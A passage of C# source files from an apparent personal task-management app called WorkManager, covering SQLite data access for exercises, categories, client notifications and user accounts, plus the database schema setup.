}
LogHandler.AddToLog("[TEST] Could not connect to database:" + DatabasePath, "WorkManagerDataBinderV1", LogHandler.LogLevelStates.Detailed);
return false;
}
private void RaiseIOProcessingEvent (DatabaseIOEventArgs eventArgs) {
if (IOProcessing == null)
return;
IOProcessing(eventArgs);
}
internal void DeleteAllExercises (string account, string exerciseFilterText = "") {
if (account == null ||
account == "")
return;
SQLiteCommand command = new SQLiteCommand(OpenConnection());
try {
command.CommandText = "DELETE FROM exercises WHERE Account=@account" + GetExerciseFilter(exerciseFilterText);
command.Parameters.AddWithValue("@account", account);
command.ExecuteNonQuery();
LogHandler.AddToLog("Successfully deleted exercises: " + account + " (" + exerciseFilterText + ")", "WorkManagerDataBinderV1");
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not delete exercises: " + account + " (" + exerciseFilterText + ")", "WorkManagerDataBinderV1");
return;
} finally {
command.Dispose();
}
RaiseIOProcessingEvent(DatabaseIOEventArgs.Delete);
return;
}
public static SQLiteConnection OpenConnection (string databasePath = "") {
if (databasePath != "")
DatabasePath = databasePath;
try {
SQLiteConnection connection = new SQLiteConnection("Data Source=" + DatabasePath);
connection.Open();
return connection;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not open a connection successfully to a database: " + DatabasePath, "WorkManagerDataBinderV1");
return null;
}
}
public List<Exercise> GetAllExercisesFromAccount (string account) {
if (account == null ||
account == "")
return null;
List<Exercise> exercises = new List<Exercise>();
SQLiteCommand command = new SQLiteCommand(OpenConnection());
command.CommandText = "SELECT * FROM exercises WHERE Account=@account" + GetExerciseFilter(ExerciseFilterText);
command.Parameters.AddWithValue("@account", account);
try {
SQLiteDataReader reader = command.ExecuteReader();
if (reader.HasRows)
while (reader.Read()) {
Exercise exercise = new Exercise(account);
int i = 0;
exercise.Eid = reader.GetInt32(i++);
exercise.MetaData.Title = reader.GetString(i++);
exercise.MetaData.Description = reader.GetString(i++);
exercise.MetaData.Priority = new PercentValue(reader.GetInt32(i++));
exercise.MetaData.DueDate.Date = reader.GetDateTime(i++);
exercise.MetaData.ReceiveDate.Date = reader.GetDateTime(i++);
exercise.MetaData.Client = ConvertToNewClient(reader.GetString(i++));
exercise.MetaData.ClientNotification = ConvertToNewClientNotification(reader.GetBoolean(i++));
exercise.MetaData.WorkDuration = new ExerciseTimeSpan(ConvertToTimeSpan(reader.GetString(i++)));
exercise.MetaData.WorkDirectoryPath = reader.GetString(i++);
exercise.Categories = reader.GetString(i++);
exercise.MetaData.Finished = reader.GetBoolean(i++);
exercises.Add(exercise);
} else
LogHandler.AddToLog("Could not load exercises, now rows were returned: " + account, "WorkManagerDataBinderV1", LogHandler.LogLevelStates.Detailed);
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read exercise data from database", "WorkManagerDataBinderV1");
return new List<Exercise>();
}
command.Dispose();
RaiseIOProcessingEvent(DatabaseIOEventArgs.Select);
return exercises;
}
private ExerciseClientNotification ConvertToNewClientNotification (bool notify) {
ExerciseClientNotification notification = new ExerciseClientNotification();
notification.Notify = notify;
return notification;
}
private ExerciseClient ConvertToNewClient (string oldClient) {
char[] possibleSeperateSymbols = new char[] { '(', ')', '<', '>', '{', '}', '[', ']' };
string[] extractedData = oldClient.Split(possibleSeperateSymbols, 2);
string name = "", mailaddress = "";
if (extractedData.Count() < 1)
name = "";
else
name = StringHandler.Clean(StringHandler.Clean(extractedData[0], possibleSeperateSymbols));
if (extractedData.Count() < 2)
mailaddress = "";
else
mailaddress = StringHandler.Clean(StringHandler.Clean(extractedData[1], possibleSeperateSymbols));
return new ExerciseClient(mailaddress, name);
}
private string GetExerciseFilter (string filterText) {
string filter = "";
if (StringHandler.Equals(filterText, "finished"))
filter = " AND finished";
else if (StringHandler.Equals(filterText, "to do"))
filter = " AND NOT finished";
else if (StringHandler.Equals(filterText, "until today")) {
filter = " AND DueDate=" + DateTime.Today.ToString("yyyy-MM-dd");
}
return filter;
}
private static TimeSpan ConvertToTimeSpan (string time) {
try {
return TimeSpan.Parse(time);
} catch (Exception ex) {
MessageBoxHandler.PromptException(ex, "WorkManagerDataBinderV1");
}
string[] singleValues = time.Split(':');
int[] units = new int[] { 0, 0, 0 };
for (int i = 0; i < 3; i++)
units[i] = Int32.Parse(singleValues[i]);
return new TimeSpan(units[0], units[1], units[2]);
}
}
}
<file_sep>/WorkManager/Exercises/CategorieDataBinder.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
namespace WorkManager {
class CategorieDataBinder {
public static void HandleCategoriesOfExercise (Exercise exercise) {
CreateMissingCategories(exercise);
ClearCategorieRelations(exercise.Eid);
CreateCategorieRelations(exercise);
}
private static void CreateCategorieRelations (Exercise exercise) {
List<int> cids = new List<int>();
foreach (CategorieData cat in exercise.MetaData.Categories)
cids.Add(GetCid(cat.Categorie, exercise.Account));
foreach (int cid in cids)
AddCategorieRelation(cid, exercise.Eid);
}
private static void AddCategorieRelation (int cid, int eid) {
if (cid < 0 ||
eid < 0)
return;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("exercise_in_categorie")
.AddValue("cid", cid)
.AddValue("eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not add categorie[" + cid + "] relation to exercise: " + eid, "CategorieDataBinder");
}
}
private static int GetCid (string cat, string account) {
DbCommandBuilder commandBuilder = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("categories")
.AddAttribute("cid")
.Where(DbWhereSyntax.Equals, "categorie", cat)
.Where(DbWhereSyntax.Equals, "account", account)
.Limit(1);
int cid = -1;
try {
SQLiteDataReader reader = commandBuilder.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection()).ExecuteReader();
while (reader.Read()) {
cid = reader.GetInt32(reader.GetOrdinal("cid"));
}
reader.Close();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read categorie cid from categorie[" + cat + "] from acount: " + account, "CategorieDataBinder");
return -1;
}
return cid;
}
private static void ClearCategorieRelations (int eid) {
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Delete)
.SetTableName("exercise_in_categorie")
.Where(DbWhereSyntax.Equals, "eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not clear all categorie realtions from exercise: " + eid, "CategorieDataBinder");
}
}
private static void CreateMissingCategories (Exercise exercise) {
List<string> missingCategories = GetMissingCategories(exercise);
foreach (string missingCat in missingCategories)
AddCategorie(missingCat, exercise.Account);
}
private static void AddCategorie (string categorie, string account) {
if (categorie == "" ||
account == "")
return;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("categories")
.AddValue("categorie", categorie)
.AddValue("account", account)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not add new categorie[" + categorie + "] to account: " + account, "CategorieDataBinder");
}
}
private static List<string> GetMissingCategories (Exercise exercise) {
List<CategorieData> existingCategories = GetExistingCategories(exercise.Account);
List<string> missingCategories = new List<string>();
foreach (CategorieData cat in exercise.MetaData.Categories) {
bool exists = false;
foreach (CategorieData existingCat in existingCategories)
if (cat.Categorie.Equals(existingCat.Categorie, StringComparison.OrdinalIgnoreCase))
exists = true;
if (exists)
continue;
missingCategories.Add(cat.Categorie);
}
return missingCategories;
}
private static List<CategorieData> GetExistingCategories (string account) {
DbCommandBuilder commandBuilder = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("categories")
.Where(DbWhereSyntax.Equals, "account", account);
List<CategorieData> allExistingCategories = new List<CategorieData>();
try {
SQLiteDataReader reader = commandBuilder.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection()).ExecuteReader();
while (reader.Read()) {
CategorieData cat = new CategorieData(account);
cat.Categorie = reader.GetString(reader.GetOrdinal("categorie"));
cat.Cid = reader.GetInt32(reader.GetOrdinal("cid"));
allExistingCategories.Add(cat);
}
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read existing categories from account: " + account, "CategorieDataBinder");
return new List<CategorieData>();
}
return allExistingCategories;
}
public static CategorieData GetCategorieFromCid (int cid) {
CategorieData cat = new CategorieData(cid);
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("categories")
.Where(DbWhereSyntax.Equals, "cid", cid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows) {
reader.Read();
cat.Account = reader.GetString(reader.GetOrdinal("account"));
cat.Categorie = reader.GetString(reader.GetOrdinal("categorie"));
}
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read categorie with cid: " + cid, "CategorieDataBinder");
return cat;
}
return cat;
}
public static List<CategorieData> GetCategoriesFromEid (int eid) {
List<CategorieData> cats = new List<CategorieData>();
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("exercise_in_categorie")
.AddAttribute("cid")
.Where(DbWhereSyntax.Equals, "eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows) {
while (reader.Read()) {
CategorieData cat = GetCategorieFromCid(reader.GetInt32(reader.GetOrdinal("cid")));
cats.Add(cat);
}
}
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read categories from eid: " + eid, "CategorieDataBinder");
return cats;
}
return cats;
}
}
public class CategorieData {
public int Cid;
public string Categorie;
public string Account;
public CategorieData () {
Cid = -1;
Categorie = "";
Account = "";
}
public CategorieData (int cid) {
Cid = cid;
Categorie = "";
Account = "";
}
public CategorieData (string account) {
Cid = -1;
Categorie = "";
Account = account;
}
public CategorieData SetCategorie (string cat) {
Categorie = cat;
return this;
}
}
}
<file_sep>/WorkManager/Exercises/ExerciseClientNotificationDao.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
namespace WorkManager {
class ExerciseClientNotificationDao {
public static void DeleteClientNotification (ExerciseClientNotification clientNotification) {
DeleteClientNotification(clientNotification.Id);
}
public static void DeleteClientNotification (int id) {
if (id < 0)
return; //Wasn't even saved
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Delete)
.SetTableName("client_of_exercise")
.Where(DbWhereSyntax.Equals, "id", id)
.Limit(1)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not delete client notification: " + id, "ExerciseClientNotificationDao");
}
}
public static bool UpdateClientNotification (ExerciseClientNotification clientNotification) {
if (clientNotification.Id < 0)
return false;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Update)
.SetTableName("client_of_exercise")
.AddValues(GetClientNotificationValues(clientNotification, false))
.Where(DbWhereSyntax.Equals, "id", clientNotification.Id)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully updated client notification: " + clientNotification.Id, "ExerciseClientNotificationDao", LogHandler.LogLevelStates.Detailed);
return true;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not updated client notification: " + clientNotification.Id, "ExerciseClientNotificationDao");
return false;
}
}
public static void InsertClientNotification (ExerciseClientNotification clientNotification) {
if (clientNotification.IsValid == false)
return;
try {
new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Insert)
.SetTableName("client_of_exercise")
.AddValues(GetClientNotificationValues(clientNotification, false))
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully inserted client notification: " + clientNotification.Id, "ExerciseClientNotificationDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not insert client notification: " + clientNotification.Id, "ExerciseClientNotificationDao");
}
}
internal static void HandleClientNotificationOfExercise (Exercise exercise) {
if (exercise.MetaData.ClientNotification.Id < 0)
InsertClientNotification(exercise.MetaData.ClientNotification);
else
UpdateClientNotification(exercise.MetaData.ClientNotification);
}
public static ExerciseClientNotification GetClientNotificationFromId (int id) {
ExerciseClientNotification clientNotification = new ExerciseClientNotification(id);
if (id < 0)
return clientNotification;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("client_of_exercise")
.Where(DbWhereSyntax.Equals, "id", id)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
if (reader.HasRows) {
reader.Read();
clientNotification.Cid = reader.GetInt32(reader.GetOrdinal("cid"));
clientNotification.Eid = reader.GetInt32(reader.GetOrdinal("eid"));
clientNotification.LastNotified = new ExerciseDate(reader.GetString(reader.GetOrdinal("lastnotified")));
clientNotification.Notify = reader.GetBoolean(reader.GetOrdinal("notify"));
clientNotification.IncludeCompressedWorkDirectory = reader.GetBoolean(reader.GetOrdinal("includecompressedworkdirectory"));
}
reader.Close();
reader.Dispose();
LogHandler.AddToLog("Successfully got client notification from id: " + id, "ExerciseClientNotificationDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client notification from id: " + id, "ExerciseClientNotificationDao");
}
return clientNotification;
}
private static List<DbValuePair> GetClientNotificationValues (ExerciseClientNotification clientNotification, bool addId = true) {
List<DbValuePair> values = new List<DbValuePair>();
if (addId)
values.Add(new DbValuePair("id", clientNotification.Id));
values.Add(new DbValuePair("cid", clientNotification.Cid));
values.Add(new DbValuePair("eid", clientNotification.Eid));
values.Add(new DbValuePair("includecompressedworkdirectory", clientNotification.IncludeCompressedWorkDirectory));
values.Add(new DbValuePair("notify", clientNotification.Notify));
values.Add(new DbValuePair("lastnotified", clientNotification.LastNotified));
return values;
}
internal static ExerciseClientNotification GetClientNotificationFromEid (int eid) {
ExerciseClientNotification clientNotification = new ExerciseClientNotification();
if (eid < 0)
return clientNotification;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("client_of_exercise")
.AddAttribute("id")
.Where(DbWhereSyntax.Equals, "eid", eid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
int id = -1;
if (reader.HasRows) {
reader.Read();
id = reader.GetInt32(reader.GetOrdinal("id"));
}
reader.Close();
reader.Dispose();
clientNotification = GetClientNotificationFromId(id);
LogHandler.AddToLog("Successfully got client notification from eid: " + eid, "ExerciseClientNotificationDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client notification from eid: " + eid, "ExerciseClientNotificationDao");
}
return clientNotification;
}
internal static List<int> GetClientNotificationIdsFromCid (int cid) {
List<int> ids = new List<int>();
if (cid < 0)
return ids;
try {
SQLiteDataReader reader = new DbCommandBuilder()
.SetCommandSyntax(DbCommandSyntax.Select)
.SetTableName("client_of_exercise")
.AddAttribute("id")
.Where(DbWhereSyntax.Equals, "cid", cid)
.GetSQLiteCommand(WorkManagerDataBinder.OpenConnection())
.ExecuteReader();
while (reader.Read())
ids.Add(reader.GetInt32(reader.GetOrdinal("id")));
reader.Close();
reader.Dispose();
LogHandler.AddToLog("Successfully got client notification ids from cid: " + cid, "ExerciseClientNotificationDao", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not get client notification ids from cid: " + cid, "ExerciseClientNotificationDao");
}
return ids;
}
}
}
<file_sep>/WorkManager/Account/UserAccount.cs
using System;
using System.Collections.Generic;
using System.Data.SQLite;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class UserAccount {
public string MailAddress { get; set; }
public string MailPassword { get; set; }
public string MailServer { get; set; }
public int MailServerPort { get; set; }
public bool UseSsl { get; set; }
public string AccountPassword { get; set; }
public bool AutoLogin { get; set; }
public int LogLevel { get; set; }
public UserAccount (string mailAddress = "") {
MailAddress = mailAddress;
MailPassword = "";
MailServer = "";
MailServerPort = 995;
UseSsl = true;
AccountPassword = "";
AutoLogin = false;
LogLevel = 1; //Errors only
}
}
}<file_sep>/WorkManager/Exercises/ExerciseClient.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class ExerciseClient {
public int Cid { get; set; }
public string Salutation;
public string FirstName;
public string LastName;
public string Company;
public string MailAddress;
public string DisplayAs;
public string Telephone;
public string Address;
public string Description;
public string FullName {
get { return (Salutation + " " + FirstName + " " + LastName).Trim(); }
set {
string[] names = value.Split(' ');
if (names.Count() >= 1)
FirstName = names[0];
if (names.Count() >= 2) {
LastName = "";
for (int i = 1; i < names.Count(); i++)
LastName += (i > 1 ? " " : "") + names[i];
}
}
}
public string ShortTitle {
get {
string result = DisplayAs;
if (result != "")
return result;
if (Salutation != "" && LastName != "") {
result = Salutation + " " + LastName;
if (result != "")
return result;
}
result = FirstName;
if (Company != "")
result += " (" + Company + ")";
return result;
}
}
public bool IsValid {
get {
bool valid = false;
if (FullName != "" ||
MailAddress != "")
valid = true;
return valid;
}
}
public ExerciseClient (string mailAddress = "", string fullName = "") {
FirstName = "";
LastName = "";
MailAddress = mailAddress;
DisplayAs = "";
Company = "";
Salutation = "";
Cid = -1;
Telephone = "";
Address = "";
Description = "";
FullName = fullName;
}
public ExerciseClient (int cid) {
Cid = cid;
FirstName = "";
LastName = "";
MailAddress = "";
DisplayAs = "";
Company = "";
Salutation = "";
Telephone = "";
Address = "";
Description = "";
FullName = "";
}
public override string ToString () {
return (ShortTitle + " <" + MailAddress + ">").Trim();
}
public override bool Equals (object obj) {
ExerciseClient othClient = (ExerciseClient) obj;
bool result = false;
if (MailAddress == "" ||
othClient.MailAddress == "")
return false;
result = othClient.MailAddress == MailAddress;
if (result)
return result;
if (FullName == "" ||
othClient.FullName == "")
return false;
result = othClient.FullName == FullName;
return result;
}
}
public class ExerciseClientNotification {
public int Id { get; set; }
public int Cid { get; set; }
public int Eid { get; set; }
public bool IsValid {
get {
if (Cid < 0)
return false;
if (Eid < 0)
return false;
return true;
}
}
public ExerciseDate LastNotified;
public bool Notify;
public bool IncludeCompressedWorkDirectory;
public ExerciseClientNotification (int id = -1) {
Id = id;
Cid = -1;
Eid = -1;
LastNotified = new ExerciseDate(DateTime.Today);
Notify = false;
IncludeCompressedWorkDirectory = false;
}
}
}<file_sep>/WorkManager/Exercises/ExerciseMetaData.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WorkManager {
public class ExerciseMetaData {
public string Title;
public string Description;
public string WorkDirectoryPath;
public StringCollection Categories;
public ExerciseDate DueDate;
public ExerciseDate ReceiveDate;
public Individual Client;
public bool NotifyClient;
public bool Finished;
public PercentValue Priority;
public TimeSpan WorkDuration;
public string SummaryClientSide {
get {
try {
return "Title: " + Title +
"\nDescription: " + Description +
"\nCategories: " + Categories.Summary +
"\nDueDate: " + DueDate +
"\nClient: " + Client.Name + " (" + Client.MailAddress + ")" +
"\nNotifyClient: " + NotifyClient +
"\nPriority: " + Priority.Percent;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "ExerciseMetaData");
return "Exception occurd";
}
}
}
public string SummaryComplete {
get {
try {
return SummaryClientSide +
"\nWorkDirectoryPath: " + WorkDirectoryPath +
"\nCreateDate: " + ReceiveDate +
"\nFinished: " + Finished +
"\nWorkDuration: " + WorkDuration.ToString();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "ExerciseMetaData");
return "Exception occurd";
}
}
}
public string SummaryDatabase {
get {
try {
return "Title: " + Title +
"\nDescription: " + Description +
"\nCategories: " + Categories.Summary +
"\nDueDate: " + DueDate +
"\nClient: " + Client.Name + " (" + Client.MailAddress + ")" +
"\nNotifyClient: " + NotifyClient +
"\nPriority: " + Priority.Percent +
"\nWorkDirectoryPath: " + WorkDirectoryPath +
"\nCreateDate: " + ReceiveDate +
"\nFinished: " + Finished +
"\nWorkDuration: " + WorkDuration.ToString();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "ExerciseMetaData");
return "Exception occurd";
}
}
}
public ExerciseMetaData () {
Title = "";
Description = "";
WorkDirectoryPath = "";
Categories = new StringCollection();
DueDate = new ExerciseDate(DateTime.Today + new TimeSpan(7, 0, 0, 0));
ReceiveDate = new ExerciseDate(DateTime.Today);
Client = new Individual();
NotifyClient = true;
Finished = false;
Priority = new PercentValue(50);
WorkDuration = new TimeSpan(0);
}
}
}<file_sep>/WorkManager/old/v1/UserAccountDataBinderV1.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
namespace WorkManager.old.v1 {
class UserAccountDataBinderV1 {
public static UserAccount LoadAccountFromDatabase (string mailAddress) {
if (mailAddress == null ||
mailAddress == "")
return null;
UserAccount account = new UserAccount();
SQLiteCommand command = new SQLiteCommand(WorkManagerDataBinderV1.OpenConnection());
command.CommandText = "SELECT * FROM useraccounts WHERE MailAddress=@mailaddress";
command.Parameters.AddWithValue("@mailaddress", mailAddress);
try {
SQLiteDataReader reader = command.ExecuteReader();
if (reader.HasRows)
while (reader.Read()) {
int i = 0;
account.MailAddress = reader.GetString(i++);
account.MailPassword = reader.GetString(i++);
account.MailServer = reader.GetString(i++);
account.MailServerPort = reader.GetInt32(i++);
account.UseSsl = reader.GetBoolean(i++);
account.AccountPassword = reader.GetString(i++);
account.AutoLogin = reader.GetBoolean(i++);
} else
LogHandler.AddToLog("Could not load account, now rows were returned: " + mailAddress, "UserAccountDataBinderV1", LogHandler.LogLevelStates.Detailed);
reader.Close();
reader.Dispose();
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not read account data from database", "UserAccountDataBinderV1");
return new UserAccount();
}
command.Dispose();
return account;
}
internal static List<UserAccount> GetAllUsers () {
List<UserAccount> users = new List<UserAccount>();
foreach (string mailAddress in GetAllMailAddresses())
users.Add(LoadAccountFromDatabase(mailAddress));
return users;
}
public static List<UserAccount> LoadAllAccounts () {
List<UserAccount> allAccounts = new List<UserAccount>();
foreach (string mailAddress in GetAllMailAddresses())
allAccounts.Add(LoadAccountFromDatabase(mailAddress));
LogHandler.AddToLog("Successfully loaded all accounts", "UserAccountDataBinderV1", LogHandler.LogLevelStates.Detailed);
return allAccounts;
}
internal static List<string> GetAllMailAddresses () {
try {
string commandText = "select MailAddress from useraccounts;";
SQLiteCommand command = new SQLiteCommand(commandText, WorkManagerDataBinderV1.OpenConnection());
SQLiteDataReader reader = command.ExecuteReader();
List<string> mailAddresses = new List<string>();
if (reader.HasRows)
while (reader.Read())
mailAddresses.Add(reader.GetString(0));
return mailAddresses;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not successfully read all mailAddresses", "UserAccountDataBinderV1");
return new List<string>();
}
}
internal static void RemoveFromDatabase (string mailAddress) {
SQLiteCommand command = new SQLiteCommand(WorkManagerDataBinderV1.OpenConnection());
try {
command.CommandText = "DELETE FROM useraccounts WHERE MailAddress=@mailaddress;";
command.Parameters.AddWithValue("@mailaddress", mailAddress);
command.ExecuteNonQuery();
command.Dispose();
LogHandler.AddToLog("Successfully removed account: " + mailAddress, "UserAccountDataBinderV1", LogHandler.LogLevelStates.Detailed);
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not properly execute the remove-account command: " + mailAddress, "UserAccountDataBinderV1");
}
}
internal static void DeleteAllAccounts () {
foreach (string mailAddress in GetAllMailAddresses())
RemoveFromDatabase(mailAddress);
LogHandler.AddToLog("Successfully deleted all accounts", "UserAccountDataBinderV1", LogHandler.LogLevelStates.Detailed);
}
}
}
<file_sep>/WorkManager/workmanager/WorkManagerDataBinder.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
using System.IO;
using System.Windows.Controls;
using System.Data;
namespace WorkManager {
public class WorkManagerDataBinder {
public event DatabaseProcessing IOProcessing;
public static string DatabasePath;
public string ExerciseFilterText { get; set; }
public WorkManagerDataBinder (string databasePath) {
DatabasePath = databasePath;
TestDatabaseConnection();
}
public static SQLiteConnection OpenConnection (string databasePath = "") {
if (databasePath != "")
DatabasePath = databasePath;
try {
SQLiteConnection connection = new SQLiteConnection("Data Source=" + DatabasePath);
connection.Open();
return connection;
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not open a connection successfully to a database: " + DatabasePath, "WorkManagerDataBinder");
return null;
}
}
private void TestDatabaseConnection () {
FileInfo databaseFile = new FileInfo(DatabasePath);
if (databaseFile.Exists) {
LogHandler.AddToLog("[TEST] Successfully connected to database: " + DatabasePath, "WorkManagerDataBinder", LogHandler.LogLevelStates.Detailed);
return;
}
LogHandler.AddToLog("[TEST] Could not connect to database, creating an empty one: " + DatabasePath, "WorkManagerDataBinder", LogHandler.LogLevelStates.Detailed);
CreateEmptyDatabase(DatabasePath);
}
internal List<Exercise> LoadAllExercises (string mailAddress) {
List<Exercise> allExercises = new List<Exercise>();
foreach (int eid in ExerciseDao.GetAllEids(mailAddress, ExerciseFilterText))
allExercises.Add(ExerciseDao.GetExerciseFromEid(eid));
return allExercises;
}
private void CreateEmptyDatabase (string databasePath) {
DatabasePath = databasePath;
SQLiteConnection connection = OpenConnection();
DbCommandBuilder commandBuilder = new DbCommandBuilder();
try {
commandBuilder.SetTableName("useraccounts")
.SetCommandSyntax(DbCommandSyntax.CreateTable)
.AddAttribute("mailaddress", "STRING", "PRIMARY KEY")
.AddAttribute("mailpassword", "STRING")
.AddAttribute("mailserver", "STRING")
.AddAttribute("mailserverport", "INTEGER")
.AddAttribute("usessl", "BOOLEAN")
.AddAttribute("accountpassword", "STRING")
.AddAttribute("autologin", "BOOLEAN")
.AddAttribute("loglevel", "INTEGER")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
commandBuilder.ClearAttributes()
.SetTableName("exercises")
.AddAttribute("eid", "INTEGER", "PRIMARY KEY", "AUTOINCREMENT")
.AddAttribute("title", "STRING")
.AddAttribute("description", "STRING")
.AddAttribute("priority", "INTEGER")
.AddAttribute("duedate", "STRING")
.AddAttribute("receivedate", "STRING")
.AddAttribute("workduration", "TIME")
.AddAttribute("targetworkduration", "TIME")
.AddAttribute("workdirectorypath", "STRING")
.AddAttribute("finished", "BOOLEAN")
.AddAttribute("account", "STRING", "REFERENCES useraccounts (mailaddress)")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
commandBuilder.ClearAttributes()
.SetTableName("categories")
.AddAttribute("cid", "INTEGER", "PRIMARY KEY", "AUTOINCREMENT")
.AddAttribute("account", "STRING", "REFERENCES useraccounts (mailaddress)")
.AddAttribute("categorie", "STRING")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
commandBuilder.ClearAttributes()
.SetTableName("clients")
.AddAttribute("cid", "INTEGER", "PRIMARY KEY", "AUTOINCREMENT")
.AddAttribute("salutation", "STRING")
.AddAttribute("firstname", "STRING")
.AddAttribute("lastname", "STRING")
.AddAttribute("company", "STRING")
.AddAttribute("displayas", "STRING")
.AddAttribute("mailaddress", "STRING")
.AddAttribute("telephone", "STRING")
.AddAttribute("address", "STRING")
.AddAttribute("description", "STRING")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
commandBuilder.ClearAttributes()
.SetTableName("client_of_exercise")
.AddAttribute("id", "INTEGER", "PRIMARY KEY", "AUTOINCREMENT")
.AddAttribute("cid", "INTEGER", "REFERENCES clients (cid)")
.AddAttribute("eid", "INTEGER", "REFERENCES exercises (eid)")
.AddAttribute("notify", "BOOLEAN")
.AddAttribute("lastnotified", "DATE")
.AddAttribute("includecompressedworkdirectory", "BOOLEAN")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
commandBuilder.ClearAttributes()
.SetTableName("exercise_in_categorie")
.AddAttribute("id", "INTEGER", "PRIMARY KEY", "AUTOINCREMENT")
.AddAttribute("eid", "INTEGER", "REFERENCES exercises (eid)")
.AddAttribute("cid", "INTEGER", "REFERENCES categories (cid)")
.GetSQLiteCommand(connection)
.ExecuteNonQuery();
LogHandler.AddToLog("Successfully created WorkManager Database", "WorkManagerDataBinder");
} catch (Exception ex) {
LogHandler.AddToLog(ex, "Could not create WorkManager Database", "WorkManagerDataBinder");
return;
} finally {
connection.Close();
connection.Dispose();
}
RaiseIOProcessingEvent(DatabaseIOEventArgs.Create);
return;
}
internal bool InsertExercise (Exercise exercise) {
bool result = ExerciseDao.InsertExercise(exercise);
RaiseIOProcessingEvent(DatabaseIOEventArgs.Insert);
return result;
}
internal void DeleteExercise (int eid) {
ExerciseDao.DeleteExerciseFromEid(eid);
RaiseIOProcessingEvent(DatabaseIOEventArgs.Delete);
}
public List<Exercise> GetAllExercises (string account) {
List<Exercise> exercises = new List<Exercise>();
if (account == null ||
account == "")
return exercises;
foreach (int eid in ExerciseDao.GetAllEids(account, ExerciseFilterText))
exercises.Add(ExerciseDao.GetExerciseFromEid(eid));
return exercises;
}
private void RaiseIOProcessingEvent (DatabaseIOEventArgs eventArgs) {
if (IOProcessing == null)
return;
IOProcessing(eventArgs);
}
public Exercise SaveExercise (Exercise exercise) {
int eid = exercise.Eid;
if (eid < 0) {
ExerciseDao.InsertExercise(exercise);
eid = ExerciseDao.GetLatestEidFromAccount(exercise.Account);
exercise.Eid = eid;
